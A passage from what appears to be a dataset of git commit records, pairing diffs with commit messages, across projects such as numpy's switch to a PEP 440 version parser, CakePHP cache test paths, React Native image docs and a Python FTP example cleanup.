<add># 2. Redistributions in binary form must reproduce the above copyright
<add># notice, this list of conditions and the following disclaimer in the
<add># documentation and/or other materials provided with the distribution.
<add>
<add># THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
<add># AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
<add># IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
<add># ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
<add># LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
<add># CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
<add># SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
<add># INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
<add># CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
<add># ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
<add># POSSIBILITY OF SUCH DAMAGE.
<add>
<add>import collections
<add>import itertools
<add>import re
<add>
<add>
<add>__all__ = [
<add> "parse", "Version", "LegacyVersion", "InvalidVersion", "VERSION_PATTERN",
<add>]
<add>
<add>
<add># BEGIN packaging/_structures.py
<add>
<add>
<add>class Infinity:
<add> def __repr__(self):
<add> return "Infinity"
<add>
<add> def __hash__(self):
<add> return hash(repr(self))
<add>
<add> def __lt__(self, other):
<add> return False
<add>
<add> def __le__(self, other):
<add> return False
<add>
<add> def __eq__(self, other):
<add> return isinstance(other, self.__class__)
<add>
<add> def __ne__(self, other):
<add> return not isinstance(other, self.__class__)
<add>
<add> def __gt__(self, other):
<add> return True
<add>
<add> def __ge__(self, other):
<add> return True
<add>
<add> def __neg__(self):
<add> return NegativeInfinity
<add>
<add>
<add>Infinity = Infinity()
<add>
<add>
<add>class NegativeInfinity:
<add> def __repr__(self):
<add> return "-Infinity"
<add>
<add> def __hash__(self):
<add> return hash(repr(self))
<add>
<add> def __lt__(self, other):
<add> return True
<add>
<add> def __le__(self, other):
<add> return True
<add>
<add> def __eq__(self, other):
<add> return isinstance(other, self.__class__)
<add>
<add> def __ne__(self, other):
<add> return not isinstance(other, self.__class__)
<add>
<add> def __gt__(self, other):
<add> return False
<add>
<add> def __ge__(self, other):
<add> return False
<add>
<add> def __neg__(self):
<add> return Infinity
<add>
<add>
<add># BEGIN packaging/version.py
<add>
<add>
<add>NegativeInfinity = NegativeInfinity()
<add>
<add>_Version = collections.namedtuple(
<add> "_Version",
<add> ["epoch", "release", "dev", "pre", "post", "local"],
<add>)
<add>
<add>
<add>def parse(version):
<add> """
<add> Parse the given version string and return either a :class:`Version` object
<add> or a :class:`LegacyVersion` object depending on if the given version is
<add> a valid PEP 440 version or a legacy version.
<add> """
<add> try:
<add> return Version(version)
<add> except InvalidVersion:
<add> return LegacyVersion(version)
<add>
<add>
<add>class InvalidVersion(ValueError):
<add> """
<add> An invalid version was found, users should refer to PEP 440.
<add> """
<add>
<add>
<add>class _BaseVersion:
<add>
<add> def __hash__(self):
<add> return hash(self._key)
<add>
<add> def __lt__(self, other):
<add> return self._compare(other, lambda s, o: s < o)
<add>
<add> def __le__(self, other):
<add> return self._compare(other, lambda s, o: s <= o)
<add>
<add> def __eq__(self, other):
<add> return self._compare(other, lambda s, o: s == o)
<add>
<add> def __ge__(self, other):
<add> return self._compare(other, lambda s, o: s >= o)
<add>
<add> def __gt__(self, other):
<add> return self._compare(other, lambda s, o: s > o)
<add>
<add> def __ne__(self, other):
<add> return self._compare(other, lambda s, o: s != o)
<add>
<add> def _compare(self, other, method):
<add> if not isinstance(other, _BaseVersion):
<add> return NotImplemented
<add>
<add> return method(self._key, other._key)
<add>
<add>
<add>class LegacyVersion(_BaseVersion):
<add>
<add> def __init__(self, version):
<add> self._version = str(version)
<add> self._key = _legacy_cmpkey(self._version)
<add>
<add> def __str__(self):
<add> return self._version
<add>
<add> def __repr__(self):
<add> return "<LegacyVersion({0})>".format(repr(str(self)))
<add>
<add> @property
<add> def public(self):
<add> return self._version
<add>
<add> @property
<add> def base_version(self):
<add> return self._version
<add>
<add> @property
<add> def local(self):
<add> return None
<add>
<add> @property
<add> def is_prerelease(self):
<add> return False
<add>
<add> @property
<add> def is_postrelease(self):
<add> return False
<add>
<add>
<add>_legacy_version_component_re = re.compile(
<add> r"(\d+ | [a-z]+ | \.| -)", re.VERBOSE,
<add>)
<add>
<add>_legacy_version_replacement_map = {
<add> "pre": "c", "preview": "c", "-": "final-", "rc": "c", "dev": "@",
<add>}
<add>
<add>
<add>def _parse_version_parts(s):
<add> for part in _legacy_version_component_re.split(s):
<add> part = _legacy_version_replacement_map.get(part, part)
<add>
<add> if not part or part == ".":
<add> continue
<add>
<add> if part[:1] in "0123456789":
<add> # pad for numeric comparison
<add> yield part.zfill(8)
<add> else:
<add> yield "*" + part
<add>
<add> # ensure that alpha/beta/candidate are before final
<add> yield "*final"
<add>
<add>
<add>def _legacy_cmpkey(version):
<add> # We hardcode an epoch of -1 here. A PEP 440 version can only have an epoch
<add> # greater than or equal to 0. This will effectively put the LegacyVersion,
<add> # which uses the defacto standard originally implemented by setuptools,
<add> # as before all PEP 440 versions.
<add> epoch = -1
<add>
<add> # This scheme is taken from pkg_resources.parse_version setuptools prior to
<add> # its adoption of the packaging library.
<add> parts = []
<add> for part in _parse_version_parts(version.lower()):
<add> if part.startswith("*"):
<add> # remove "-" before a prerelease tag
<add> if part < "*final":
<add> while parts and parts[-1] == "*final-":
<add> parts.pop()
<add>
<add> # remove trailing zeros from each series of numeric parts
<add> while parts and parts[-1] == "00000000":
<add> parts.pop()
<add>
<add> parts.append(part)
<add> parts = tuple(parts)
<add>
<add> return epoch, parts
<add>
<add>
<add># Deliberately not anchored to the start and end of the string, to make it
<add># easier for 3rd party code to reuse
<add>VERSION_PATTERN = r"""
<add> v?
<add> (?:
<add> (?:(?P<epoch>[0-9]+)!)? # epoch
<add> (?P<release>[0-9]+(?:\.[0-9]+)*) # release segment
<add> (?P<pre> # pre-release
<add> [-_\.]?
<add> (?P<pre_l>(a|b|c|rc|alpha|beta|pre|preview))
<add> [-_\.]?
<add> (?P<pre_n>[0-9]+)?
<add> )?
<add> (?P<post> # post release
<add> (?:-(?P<post_n1>[0-9]+))
<add> |
<add> (?:
<add> [-_\.]?
<add> (?P<post_l>post|rev|r)
<add> [-_\.]?
<add> (?P<post_n2>[0-9]+)?
<add> )
<add> )?
<add> (?P<dev> # dev release
<add> [-_\.]?
<add> (?P<dev_l>dev)
<add> [-_\.]?
<add> (?P<dev_n>[0-9]+)?
<add> )?
<add> )
<add> (?:\+(?P<local>[a-z0-9]+(?:[-_\.][a-z0-9]+)*))? # local version
<add>"""
<add>
<add>
<add>class Version(_BaseVersion):
<add>
<add> _regex = re.compile(
<add> r"^\s*" + VERSION_PATTERN + r"\s*$",
<add> re.VERBOSE | re.IGNORECASE,
<add> )
<add>
<add> def __init__(self, version):
<add> # Validate the version and parse it into pieces
<add> match = self._regex.search(version)
<add> if not match:
<add> raise InvalidVersion("Invalid version: '{0}'".format(version))
<add>
<add> # Store the parsed out pieces of the version
<add> self._version = _Version(
<add> epoch=int(match.group("epoch")) if match.group("epoch") else 0,
<add> release=tuple(int(i) for i in match.group("release").split(".")),
<add> pre=_parse_letter_version(
<add> match.group("pre_l"),
<add> match.group("pre_n"),
<add> ),
<add> post=_parse_letter_version(
<add> match.group("post_l"),
<add> match.group("post_n1") or match.group("post_n2"),
<add> ),
<add> dev=_parse_letter_version(
<add> match.group("dev_l"),
<add> match.group("dev_n"),
<add> ),
<add> local=_parse_local_version(match.group("local")),
<add> )
<add>
<add> # Generate a key which will be used for sorting
<add> self._key = _cmpkey(
<add> self._version.epoch,
<add> self._version.release,
<add> self._version.pre,
<add> self._version.post,
<add> self._version.dev,
<add> self._version.local,
<add> )
<add>
<add> def __repr__(self):
<add> return "<Version({0})>".format(repr(str(self)))
<add>
<add> def __str__(self):
<add> parts = []
<add>
<add> # Epoch
<add> if self._version.epoch != 0:
<add> parts.append("{0}!".format(self._version.epoch))
<add>
<add> # Release segment
<add> parts.append(".".join(str(x) for x in self._version.release))
<add>
<add> # Pre-release
<add> if self._version.pre is not None:
<add> parts.append("".join(str(x) for x in self._version.pre))
<add>
<add> # Post-release
<add> if self._version.post is not None:
<add> parts.append(".post{0}".format(self._version.post[1]))
<add>
<add> # Development release
<add> if self._version.dev is not None:
<add> parts.append(".dev{0}".format(self._version.dev[1]))
<add>
<add> # Local version segment
<add> if self._version.local is not None:
<add> parts.append(
<add> "+{0}".format(".".join(str(x) for x in self._version.local))
<add> )
<add>
<add> return "".join(parts)
<add>
<add> @property
<add> def public(self):
<add> return str(self).split("+", 1)[0]
<add>
<add> @property
<add> def base_version(self):
<add> parts = []
<add>
<add> # Epoch
<add> if self._version.epoch != 0:
<add> parts.append("{0}!".format(self._version.epoch))
<add>
<add> # Release segment
<add> parts.append(".".join(str(x) for x in self._version.release))
<add>
<add> return "".join(parts)
<add>
<add> @property
<add> def local(self):
<add> version_string = str(self)
<add> if "+" in version_string:
<add> return version_string.split("+", 1)[1]
<add>
<add> @property
<add> def is_prerelease(self):
<add> return bool(self._version.dev or self._version.pre)
<add>
<add> @property
<add> def is_postrelease(self):
<add> return bool(self._version.post)
<add>
<add>
<add>def _parse_letter_version(letter, number):
<add> if letter:
<add> # We assume there is an implicit 0 in a pre-release if there is
<add> # no numeral associated with it.
<add> if number is None:
<add> number = 0
<add>
<add> # We normalize any letters to their lower-case form
<add> letter = letter.lower()
<add>
<add> # We consider some words to be alternate spellings of other words and
<add> # in those cases we want to normalize the spellings to our preferred
<add> # spelling.
<add> if letter == "alpha":
<add> letter = "a"
<add> elif letter == "beta":
<add> letter = "b"
<add> elif letter in ["c", "pre", "preview"]:
<add> letter = "rc"
<add> elif letter in ["rev", "r"]:
<add> letter = "post"
<add>
<add> return letter, int(number)
<add> if not letter and number:
<add> # We assume that if we are given a number but not given a letter,
<add> # then this is using the implicit post release syntax (e.g., 1.0-1)
<add> letter = "post"
<add>
<add> return letter, int(number)
<add>
<add>
<add>_local_version_seperators = re.compile(r"[\._-]")
<add>
<add>
<add>def _parse_local_version(local):
<add> """
<add> Takes a string like abc.1.twelve and turns it into ("abc", 1, "twelve").
<add> """
<add> if local is not None:
<add> return tuple(
<add> part.lower() if not part.isdigit() else int(part)
<add> for part in _local_version_seperators.split(local)
<add> )
<add>
<add>
<add>def _cmpkey(epoch, release, pre, post, dev, local):
<add> # When we compare a release version, we want to compare it with all of the
<add> # trailing zeros removed. So we'll use a reverse the list, drop all the now
<add> # leading zeros until we come to something non-zero, then take the rest,
<add> # re-reverse it back into the correct order, and make it a tuple and use
<add> # that for our sorting key.
<add> release = tuple(
<add> reversed(list(
<add> itertools.dropwhile(
<add> lambda x: x == 0,
<add> reversed(release),
<add> )
<add> ))
<add> )
<add>
<add> # We need to "trick" the sorting algorithm to put 1.0.dev0 before 1.0a0.
<add> # We'll do this by abusing the pre-segment, but we _only_ want to do this
<add> # if there is no pre- or a post-segment. If we have one of those, then
<add> # the normal sorting rules will handle this case correctly.
<add> if pre is None and post is None and dev is not None:
<add> pre = -Infinity
<add> # Versions without a pre-release (except as noted above) should sort after
<add> # those with one.
<add> elif pre is None:
<add> pre = Infinity
<add>
<add> # Versions without a post-segment should sort before those with one.
<add> if post is None:
<add> post = -Infinity
<add>
<add> # Versions without a development segment should sort after those with one.
<add> if dev is None:
<add> dev = Infinity
<add>
<add> if local is None:
<add> # Versions without a local segment should sort before those with one.
<add> local = -Infinity
<add> else:
<add> # Versions with a local segment need that segment parsed to implement
<add> # the sorting rules in PEP440.
<add> # - Alphanumeric segments sort before numeric segments
<add> # - Alphanumeric segments sort lexicographically
<add> # - Numeric segments sort numerically
<add> # - Shorter versions sort before longer versions when the prefixes
<add> # match exactly
<add> local = tuple(
<add> (i, "") if isinstance(i, int) else (-Infinity, i)
<add> for i in local
<add> )
<add>
<add> return epoch, release, pre, post, dev, local
<ide><path>numpy/core/setup.py
<ide> def configuration(parent_package='',top_path=None):
<ide> exec_mod_from_location)
<ide> from numpy.distutils.system_info import (get_info, blas_opt_info,
<ide> lapack_opt_info)
<add> from numpy.version import release as is_released
<ide>
<ide> config = Configuration('core', parent_package, top_path)
<ide> local_dir = config.local_path
<ide> codegen_dir = join(local_dir, 'code_generators')
<ide>
<del> if is_released(config):
<add> if is_released:
<ide> warnings.simplefilter('error', MismatchCAPIWarning)
<ide>
<ide> # Check whether we have a mismatch between the set C API VERSION and the
<ide><path>numpy/core/setup_common.py
<ide> class MismatchCAPIWarning(Warning):
<ide> pass
<ide>
<del>def is_released(config):
<del> """Return True if a released version of numpy is detected."""
<del> from distutils.version import LooseVersion
<del>
<del> v = config.get_version('../_version.py')
<del> if v is None:
<del> raise ValueError("Could not get version")
<del> pv = LooseVersion(vstring=v).version
<del> if len(pv) > 3:
<del> return False
<del> return True
<ide>
<ide> def get_api_versions(apiversion, codegen_dir):
<ide> """
<ide><path>numpy/core/tests/test_cython.py
<ide> except ImportError:
<ide> cython = None
<ide> else:
<del> from distutils.version import LooseVersion
<add> from numpy.compat import _pep440
<ide>
<del> # Cython 0.29.21 is required for Python 3.9 and there are
<add> # Cython 0.29.24 is required for Python 3.10 and there are
<ide> # other fixes in the 0.29 series that are needed even for earlier
<ide> # Python versions.
<ide> # Note: keep in sync with the one in pyproject.toml
<del> required_version = LooseVersion("0.29.21")
<del> if LooseVersion(cython_version) < required_version:
<add> required_version = "0.29.24"
<add> if _pep440.parse(cython_version) < _pep440.Version(required_version):
<ide> # too old or wrong cython, skip the test
<ide> cython = None
<ide>
<ide><path>numpy/core/tests/test_scalarmath.py
<ide> import itertools
<ide> import operator
<ide> import platform
<del>from distutils.version import LooseVersion as _LooseVersion
<add>from numpy.compat import _pep440
<ide> import pytest
<ide> from hypothesis import given, settings, Verbosity
<ide> from hypothesis.strategies import sampled_from
<ide> def test_builtin_abs(self, dtype):
<ide> if (
<ide> sys.platform == "cygwin" and dtype == np.clongdouble and
<ide> (
<del> _LooseVersion(platform.release().split("-")[0])
<del> < _LooseVersion("3.3.0")
<add> _pep440.parse(platform.release().split("-")[0])
<add> < _pep440.Version("3.3.0")
<ide> )
<ide> ):
<ide> pytest.xfail(
<ide> def test_numpy_abs(self, dtype):
<ide> if (
<ide> sys.platform == "cygwin" and dtype == np.clongdouble and
<ide> (
<del> _LooseVersion(platform.release().split("-")[0])
<del> < _LooseVersion("3.3.0")
<add> _pep440.parse(platform.release().split("-")[0])
<add> < _pep440.Version("3.3.0")
<ide> )
<ide> ):
<ide> pytest.xfail(
<ide><path>numpy/random/tests/test_extending.py
<ide> except ImportError:
<ide> cython = None
<ide> else:
<del> from distutils.version import LooseVersion
<del> # Cython 0.29.21 is required for Python 3.9 and there are
<add> from numpy.compat import _pep440
<add> # Cython 0.29.24 is required for Python 3.10 and there are
<ide> # other fixes in the 0.29 series that are needed even for earlier
<ide> # Python versions.
<ide> # Note: keep in sync with the one in pyproject.toml
<del> required_version = LooseVersion('0.29.21')
<del> if LooseVersion(cython_version) < required_version:
<add> required_version = '0.29.24'
<add> if _pep440.parse(cython_version) < _pep440.Version(required_version):
<ide> # too old or wrong cython, skip the test
<ide> cython = None
<ide>
<ide><path>setup.py
<ide> def get_build_overrides():
<ide> """
<ide> from numpy.distutils.command.build_clib import build_clib
<ide> from numpy.distutils.command.build_ext import build_ext
<del> from distutils.version import LooseVersion
<add> from numpy.compat import _pep440
<ide>
<ide> def _needs_gcc_c99_flag(obj):
<ide> if obj.compiler.compiler_type != 'unix':
<ide> def _needs_gcc_c99_flag(obj):
<ide> out = subprocess.run([cc, '-dumpversion'], stdout=subprocess.PIPE,
<ide> stderr=subprocess.PIPE, universal_newlines=True)
<ide> # -std=c99 is default from this version on
<del> if LooseVersion(out.stdout) >= LooseVersion('5.0'):
<add> if _pep440.parse(out.stdout) >= _pep440.Version('5.0'):
<ide> return False
<ide> return True
<ide>
<ide> def build_extension(self, ext):
<ide>
<ide>
<ide> def generate_cython():
<add> # Check Cython version
<add> from numpy.compat import _pep440
<add> try:
<add> # try the cython in the installed python first (somewhat related to
<add> # scipy/scipy#2397)
<add> import Cython
<add> from Cython.Compiler.Version import version as cython_version
<add> except ImportError as e:
<add> # The `cython` command need not point to the version installed in the
<add> # Python running this script, so raise an error to avoid the chance of
<add> # using the wrong version of Cython.
<add> msg = 'Cython needs to be installed in Python as a module'
<add> raise OSError(msg) from e
<add> else:
<add> # Note: keep in sync with that in pyproject.toml
<add> # Update for Python 3.10
<add> required_version = '0.29.24'
<add>
<add> if _pep440.parse(cython_version) < _pep440.Version(required_version):
<add> cython_path = Cython.__file__
<add> msg = 'Building NumPy requires Cython >= {}, found {} at {}'
<add> msg = msg.format(required_version, cython_version, cython_path)
<add> raise RuntimeError(msg)
<add>
<add> # Process files
<ide> cwd = os.path.abspath(os.path.dirname(__file__))
<ide> print("Cythonizing sources")
<ide> for d in ('random',):
<ide><path>tools/cythonize.py
<ide> def process_pyx(fromfile, tofile):
<ide> if tofile.endswith('.cxx'):
<ide> flags.append('--cplus')
<ide>
<del> try:
<del> # try the cython in the installed python first (somewhat related to scipy/scipy#2397)
<del> import Cython
<del> from Cython.Compiler.Version import version as cython_version
<del> except ImportError as e:
<del> # The `cython` command need not point to the version installed in the
<del> # Python running this script, so raise an error to avoid the chance of
<del> # using the wrong version of Cython.
<del> msg = 'Cython needs to be installed in Python as a module'
<del> raise OSError(msg) from e
<del> else:
<del> # check the version, and invoke through python
<del> from distutils.version import LooseVersion
<del>
<del> # Cython 0.29.21 is required for Python 3.9 and there are
<del> # other fixes in the 0.29 series that are needed even for earlier
<del> # Python versions.
<del> # Note: keep in sync with that in pyproject.toml
<del> # Update for Python 3.10
<del> required_version = LooseVersion('0.29.24')
<del>
<del> if LooseVersion(cython_version) < required_version:
<del> cython_path = Cython.__file__
<del> raise RuntimeError(f'Building {VENDOR} requires Cython >= {required_version}'
<del> f', found {cython_version} at {cython_path}')
<del> subprocess.check_call(
<del> [sys.executable, '-m', 'cython'] + flags + ["-o", tofile, fromfile])
<add> subprocess.check_call(
<add> [sys.executable, '-m', 'cython'] + flags + ["-o", tofile, fromfile])
<ide>
<ide>
<ide> def process_tempita_pyx(fromfile, tofile):
| 9
|
Text
|
Text
|
update image docs with missing ios style warning
|
954df6d13ebc01e1fa0902adfd443b208930bce8
|
<ide><path>docs/Images.md
<ide> return (
<ide> );
<ide> ```
<ide>
<add>## iOS Border Radius Styles
<add>
<add>Please note that the following corner specific, border radius style properties are currently ignored by iOS's image component:
<add>
<add>* `borderTopLeftRadius`
<add>* `borderTopRightRadius`
<add>* `borderBottomLeftRadius`
<add>* `borderBottomRightRadius`
<add>
<ide> ## Off-thread Decoding
<ide>
<ide> Image decoding can take more than a frame-worth of time. This is one of the major sources of frame drops on the web because decoding is done in the main thread. In React Native, image decoding is done in a different thread. In practice, you already need to handle the case when the image is not downloaded yet, so displaying the placeholder for a few more frames while it is decoding does not require any code change.
| 1
|
Ruby
|
Ruby
|
replace _meth with _method to remove ambiguity
|
06a19b0166a0856a6effa2d0f82fa0b578c12ef0
|
<ide><path>activesupport/lib/active_support/callbacks.rb
<ide> def __update_callbacks(name) #:nodoc:
<ide>
<ide> # Install a callback for the given event.
<ide> #
<del> # set_callback :save, :before, :before_meth
<del> # set_callback :save, :after, :after_meth, if: :condition
<add> # set_callback :save, :before, :before_method
<add> # set_callback :save, :after, :after_method, if: :condition
<ide> # set_callback :save, :around, ->(r, block) { stuff; result = block.call; stuff }
<ide> #
<ide> # The second argument indicates whether the callback is to be run +:before+,
<ide> # +:after+, or +:around+ the event. If omitted, +:before+ is assumed. This
<ide> # means the first example above can also be written as:
<ide> #
<del> # set_callback :save, :before_meth
<add> # set_callback :save, :before_method
<ide> #
<ide> # The callback can be specified as a symbol naming an instance method; as a
<ide> # proc, lambda, or block; as a string to be instance evaluated(deprecated); or as an
| 1
|
PHP
|
PHP
|
apply fixes from styleci
|
4c80f73c6e6793e7de55eb50009fab034046161d
|
<ide><path>src/Illuminate/Http/Request.php
<ide> public function __get($key)
<ide> }
<ide>
<ide> /**
<del> * {@inheritDoc}
<add> * {@inheritdoc}
<ide> */
<ide> public function __clone()
<ide> {
| 1
|
Javascript
|
Javascript
|
start a worker for each cpu
|
5ff2ae8389c8e4ea37709d02340f1b60c32f0737
|
<ide><path>benchmark/http_simple_cluster.js
<ide> var os = require('os');
<ide>
<ide> if (cluster.isMaster) {
<ide> console.log('master running on pid %d', process.pid);
<del> for (var i = 1, n = os.cpus().length; i < n; ++i) cluster.fork();
<add> for (var i = 0, n = os.cpus().length; i < n; ++i) cluster.fork();
<ide> } else {
<ide> require(__dirname + '/http_simple.js');
<ide> }
| 1
|
Javascript
|
Javascript
|
use ternary instead of conditional
|
14daa4bdc13ab563fb5c21762db8bea52dd27a76
|
<ide><path>src/ripgrep-directory-searcher.js
<ide> function processSubmatch (submatch, lineText, offsetRow) {
<ide> }
<ide>
<ide> function getText (input) {
<del> if (input.text) {
<del> return input.text
<del> }
<del>
<del> return Buffer.from(input.bytes, 'base64').toString()
<add> return input.text ? input.text : Buffer.from(input.bytes, 'base64').toString()
<ide> }
<ide>
<ide> module.exports = class RipgrepDirectorySearcher {
| 1
|
PHP
|
PHP
|
use cache folder instead of tmp for cache tests
|
811000647287600e5ba92602013f79a0f83fd4c2
|
<ide><path>tests/TestCase/Cache/CacheTest.php
<ide> protected function _configCache()
<ide> {
<ide> Cache::setConfig('tests', [
<ide> 'engine' => 'File',
<del> 'path' => TMP,
<add> 'path' => CACHE,
<ide> 'prefix' => 'test_'
<ide> ]);
<ide> }
<ide> protected function _configCache()
<ide> */
<ide> public function testCacheEngineFallback()
<ide> {
<del> $filename = tempnam(TMP, 'tmp_');
<add> $filename = tempnam(CACHE, 'tmp_');
<ide>
<ide> Cache::setConfig('tests', [
<ide> 'engine' => 'File',
<ide> public function testCacheEngineFallback()
<ide> ]);
<ide> Cache::setConfig('tests_fallback', [
<ide> 'engine' => 'File',
<del> 'path' => TMP,
<add> 'path' => CACHE,
<ide> 'prefix' => 'test_',
<ide> ]);
<ide>
<ide> $engine = Cache::engine('tests');
<ide> $path = $engine->getConfig('path');
<del> $this->assertSame(TMP, $path);
<add> $this->assertSame(CACHE, $path);
<ide>
<ide> Cache::drop('tests');
<ide> Cache::drop('tests_fallback');
<ide> public function testCacheEngineFallbackDisabled()
<ide> {
<ide> $this->expectException(Error::class);
<ide>
<del> $filename = tempnam(TMP, 'tmp_');
<add> $filename = tempnam(CACHE, 'tmp_');
<ide>
<ide> Cache::setConfig('tests', [
<ide> 'engine' => 'File',
<ide> public function testCacheEngineFallbackDisabled()
<ide> */
<ide> public function testCacheEngineFallbackToSelf()
<ide> {
<del> $filename = tempnam(TMP, 'tmp_');
<add> $filename = tempnam(CACHE, 'tmp_');
<ide>
<ide> Cache::setConfig('tests', [
<ide> 'engine' => 'File',
<ide> public function testCacheEngineFallbackToSelf()
<ide> */
<ide> public function testCacheFallbackWithGroups()
<ide> {
<del> $filename = tempnam(TMP, 'tmp_');
<add> $filename = tempnam(CACHE, 'tmp_');
<ide>
<ide> Cache::setConfig('tests', [
<ide> 'engine' => 'File',
<ide> public function testCacheFallbackWithGroups()
<ide> ]);
<ide> Cache::setConfig('tests_fallback', [
<ide> 'engine' => 'File',
<del> 'path' => TMP,
<add> 'path' => CACHE,
<ide> 'prefix' => 'test_',
<ide> 'groups' => ['group3', 'group1'],
<ide> ]);
<ide> public function testCacheFallbackWithGroups()
<ide> */
<ide> public function testCacheFallbackIntegration()
<ide> {
<del> $filename = tempnam(TMP, 'tmp_');
<add> $filename = tempnam(CACHE, 'tmp_');
<ide>
<ide> Cache::setConfig('tests', [
<ide> 'engine' => 'File',
<ide> public function testCacheFallbackIntegration()
<ide> ]);
<ide> Cache::setConfig('tests_fallback_final', [
<ide> 'engine' => 'File',
<del> 'path' => TMP . 'cake_test' . DS,
<add> 'path' => CACHE . 'cake_test' . DS,
<ide> 'groups' => ['integration_group_3'],
<ide> ]);
<ide>
<ide> public function testConfigWithLibAndPluginEngines()
<ide> static::setAppNamespace();
<ide> Plugin::load('TestPlugin');
<ide>
<del> $config = ['engine' => 'TestAppCache', 'path' => TMP, 'prefix' => 'cake_test_'];
<add> $config = ['engine' => 'TestAppCache', 'path' => CACHE, 'prefix' => 'cake_test_'];
<ide> Cache::setConfig('libEngine', $config);
<ide> $engine = Cache::engine('libEngine');
<ide> $this->assertInstanceOf('TestApp\Cache\Engine\TestAppCacheEngine', $engine);
<ide>
<del> $config = ['engine' => 'TestPlugin.TestPluginCache', 'path' => TMP, 'prefix' => 'cake_test_'];
<add> $config = ['engine' => 'TestPlugin.TestPluginCache', 'path' => CACHE, 'prefix' => 'cake_test_'];
<ide> $result = Cache::setConfig('pluginLibEngine', $config);
<ide> $engine = Cache::engine('pluginLibEngine');
<ide> $this->assertInstanceOf('TestPlugin\Cache\Engine\TestPluginCacheEngine', $engine);
<ide> public static function configProvider()
<ide> return [
<ide> 'Array of data using engine key.' => [[
<ide> 'engine' => 'File',
<del> 'path' => TMP . 'tests',
<add> 'path' => CACHE . 'tests',
<ide> 'prefix' => 'cake_test_'
<ide> ]],
<ide> 'Array of data using classname key.' => [[
<ide> 'className' => 'File',
<del> 'path' => TMP . 'tests',
<add> 'path' => CACHE . 'tests',
<ide> 'prefix' => 'cake_test_'
<ide> ]],
<ide> 'Direct instance' => [new FileEngine()],
<ide> public function testConfigInvalidObject()
<ide> public function testConfigErrorOnReconfigure()
<ide> {
<ide> $this->expectException(\BadMethodCallException::class);
<del> Cache::setConfig('tests', ['engine' => 'File', 'path' => TMP]);
<add> Cache::setConfig('tests', ['engine' => 'File', 'path' => CACHE]);
<ide> Cache::setConfig('tests', ['engine' => 'Apc']);
<ide> }
<ide>
<ide> public function testConfigReadCompat()
<ide> $this->deprecated(function () {
<ide> $config = [
<ide> 'engine' => 'File',
<del> 'path' => TMP,
<add> 'path' => CACHE,
<ide> 'prefix' => 'cake_'
<ide> ];
<ide> Cache::config('tests', $config);
<ide> public function testConfigRead()
<ide> {
<ide> $config = [
<ide> 'engine' => 'File',
<del> 'path' => TMP,
<add> 'path' => CACHE,
<ide> 'prefix' => 'cake_'
<ide> ];
<ide> Cache::setConfig('tests', $config);
<ide> public function testConfigDottedAlias()
<ide> {
<ide> Cache::setConfig('cache.dotted', [
<ide> 'className' => 'File',
<del> 'path' => TMP,
<add> 'path' => CACHE,
<ide> 'prefix' => 'cache_value_'
<ide> ]);
<ide>
<ide> public function testCacheDisable()
<ide> Cache::enable();
<ide> Cache::setConfig('test_cache_disable_1', [
<ide> 'engine' => 'File',
<del> 'path' => TMP . 'tests'
<add> 'path' => CACHE . 'tests'
<ide> ]);
<ide>
<ide> $this->assertTrue(Cache::write('key_1', 'hello', 'test_cache_disable_1'));
<ide> public function testCacheDisable()
<ide> Cache::disable();
<ide> Cache::setConfig('test_cache_disable_2', [
<ide> 'engine' => 'File',
<del> 'path' => TMP . 'tests'
<add> 'path' => CACHE . 'tests'
<ide> ]);
<ide>
<ide> $this->assertNull(Cache::write('key_4', 'hello', 'test_cache_disable_2'));
<ide> public function testClearAll()
<ide> {
<ide> Cache::setConfig('configTest', [
<ide> 'engine' => 'File',
<del> 'path' => TMP . 'tests'
<add> 'path' => CACHE . 'tests'
<ide> ]);
<ide> Cache::setConfig('anotherConfigTest', [
<ide> 'engine' => 'File',
<del> 'path' => TMP . 'tests'
<add> 'path' => CACHE . 'tests'
<ide> ]);
<ide>
<ide> Cache::write('key_1', 'hello', 'configTest');
| 1
|
Python
|
Python
|
modernize python 2 code to get ready for python 3
|
4e06949072749f424c10e99f6bebb9fdf95d13db
|
<ide><path>File_Transfer_Protocol/ftp_send_receive.py
<del> """
<del> File transfer protocol used to send and receive files using FTP server.
<del> Use credentials to provide access to the FTP client
<add>"""
<add> File transfer protocol used to send and receive files using FTP server.
<add> Use credentials to provide access to the FTP client
<ide>
<del> Note: Do not use root username & password for security reasons
<del> Create a seperate user and provide access to a home directory of the user
<del> Use login id and password of the user created
<del> cwd here stands for current working directory
<del> """
<add> Note: Do not use root username & password for security reasons
<add> Create a seperate user and provide access to a home directory of the user
<add> Use login id and password of the user created
<add> cwd here stands for current working directory
<add>"""
<ide>
<ide> from ftplib import FTP
<del>ftp = FTP('xxx.xxx.x.x') """ Enter the ip address or the domain name here """
<add>ftp = FTP('xxx.xxx.x.x') # Enter the ip address or the domain name here
<ide> ftp.login(user='username', passwd='password')
<ide> ftp.cwd('/Enter the directory here/')
<ide>
<del> """
<del> The file which will be received via the FTP server
<del> Enter the location of the file where the file is received
<del> """
<add>"""
<add> The file which will be received via the FTP server
<add> Enter the location of the file where the file is received
<add>"""
<ide>
<ide> def ReceiveFile():
<ide> FileName = 'example.txt' """ Enter the location of the file """
<ide> LocalFile = open(FileName, 'wb')
<del> ftp.retrbinary('RETR ' + filename, LocalFile.write, 1024)
<add> ftp.retrbinary('RETR ' + FileName, LocalFile.write, 1024)
<ide> ftp.quit()
<ide> LocalFile.close()
<ide>
<del> """
<del> The file which will be sent via the FTP server
<del> The file send will be send to the current working directory
<del> """
<add>"""
<add> The file which will be sent via the FTP server
<add> The file send will be send to the current working directory
<add>"""
<ide>
<ide> def SendFile():
<ide> FileName = 'example.txt' """ Enter the name of the file """
<ide><path>Graphs/a_star.py
<add>from __future__ import print_function
<ide>
